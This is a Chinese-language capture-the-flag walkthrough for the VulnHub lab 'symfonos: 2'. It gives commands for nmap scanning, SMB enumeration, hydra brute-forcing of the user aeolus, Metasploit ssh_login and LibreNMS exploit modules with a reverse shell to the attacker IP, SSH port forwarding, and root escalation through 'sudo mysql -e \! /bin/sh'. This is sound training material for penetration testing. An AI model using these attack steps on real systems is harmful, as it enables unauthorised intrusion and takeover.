symfonos: 2靶场

symfonos: 2

来自 <https://www.vulnhub.com/entry/symfonos-2,331/>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.253

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.253

端口/协议	服务	版本	关键风险点	建议操作	漏洞利用示例	防御建议
21/tcp (FTP)	ProFTPD	1.3.5	- CVE-2015-3306（未授权文件操作/RCE） - 匿名登录可能	- 尝试mod_copy漏洞利用 - 检查匿名登录	msfconsole<br>use exploit/unix/ftp/proftpd_modcopy_exec<br>set RHOST 目标IP	- 升级ProFTPD版本 - 禁用mod_copy模块
22/tcp (SSH)	OpenSSH	7.4p1 Debian	- 版本较旧，可能存在未知漏洞 - 弱口令风险	- 暴力破解（需用户列表） - 检查密钥认证配置	hydra -L users.txt -P passwords.txt ssh://目标IP	- 禁用密码登录，使用密钥认证 - 升级OpenSSH
80/tcp (HTTP)	WebFS	1.21	- 非常见Web服务器，可能存在未公开漏洞 - 目录遍历或敏感文件泄露风险	- 目录爆破 - 手动检查页面内容及文件	gobuster dir -u http://目标IP -w 字典路径	- 替换为Nginx/Apache - 限制目录访问权限
139/445/tcp (Samba)	Samba	4.5.16-Debian	- CVE-2017-7494（SambaCry，RCE） - 未启用SMB签名 - Guest匿名访问可能	- 枚举共享目录 - 检查可写共享并上传恶意库文件	smbclient -L //目标IP -N msfconsole<br>use exploit/linux/samba/is_known_pipename	- 升级Samba版本 - 禁用Guest访问 - 启用SMB签名
操作系统	Linux	内核版本3.2-4.9（Debian）	- 潜在内核提权漏洞（如Dirty Cow、CVE-2021-4034）	- 结合服务漏洞提权 - 检查内核利用链	searchsploit Linux 3.2	- 定期更新内核补丁 - 限制低权限用户操作

4，分析ftp服务器暴露出来的漏洞，尝试匿名登录访问，失败

ftp anonymous@192.168.23.253

查看共享文件夹，发现存在匿名用户

smbclient -L 192.168.23.253

smbclient //192.168.23.253/anonymous

信息收集得到一个log.txt。从文件当中得到一个用户名aeolus

知道用户名之后， 尝试使用hydra 进行密码爆破

hydra -l aeolus -P /usr/share/wordlists/rockyou.txt ftp://192.168.23.253

成功拿到了账密：aeolus \ sergioteamo

5，再登录ftp服务器

ftp aeolus@192.168.23.253

登录成功，再尝试ssh登录，登录成功

ssh登录发现对用户执行系统命令有诸多限制，尝试将shell迁移到metasploit

msfconsole

search ssh_login

use 0

show options

set rhosts 192.168.23.253

set username aeolus

set password sergioteamo

run

sessions 将sessions 会话升级为一个meterpreter会话 查看sessions 会话

sessions -u 1 升级会话  使用第二个会话

6，成功登录进去，信息收集一下，查看网络相关信息

netstat

8080端口只允许本地访问，那么就需要我做端口转发操作。需要将本地的9999端口映射到靶机的8080端口

ssh -Nf -L 8888:127.0.0.1:8080 aeolus@192.168.23.253

• ssh: 调用SSH客户端。
• N: 不执行远程命令，仅用于端口转发。
• f: 在后台运行SSH客户端。
• L 8888:127.0.0.1:8080: 本地端口转发，格式为 local_port:remote_address:remote_port。将本地的 8888 端口转发到远程主机的 127.0.0.1:8080
• aeolus@192.168.23.253: 连接到远程主机 192.168.23.253 上的用户 aeolus

然后尝试访问本地的8888端口的http服务

对网站指纹进行扫描识别

whatweb -v http://127.0.0.1:8888/login

发现网站使用的是libreNMS 系统，使用msf 查看一下该系统是否存在漏洞

search libreNMS

use 1

show options

set USERNAME aeolus

set PASSWORD sergioteamo

set RHOSTS 127.0.0.1

set RPORT 8888

set LHOST 192.168.23.182

run

成功getshell，使用python获得一个可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

7，信息收集一下，看看怎么提权

sudo -l发现可以使用sudo以root权限执行mysql命令，尝试提权

sudo mysql -e '\! /bin/sh'

成功提权成为root用户，得到flag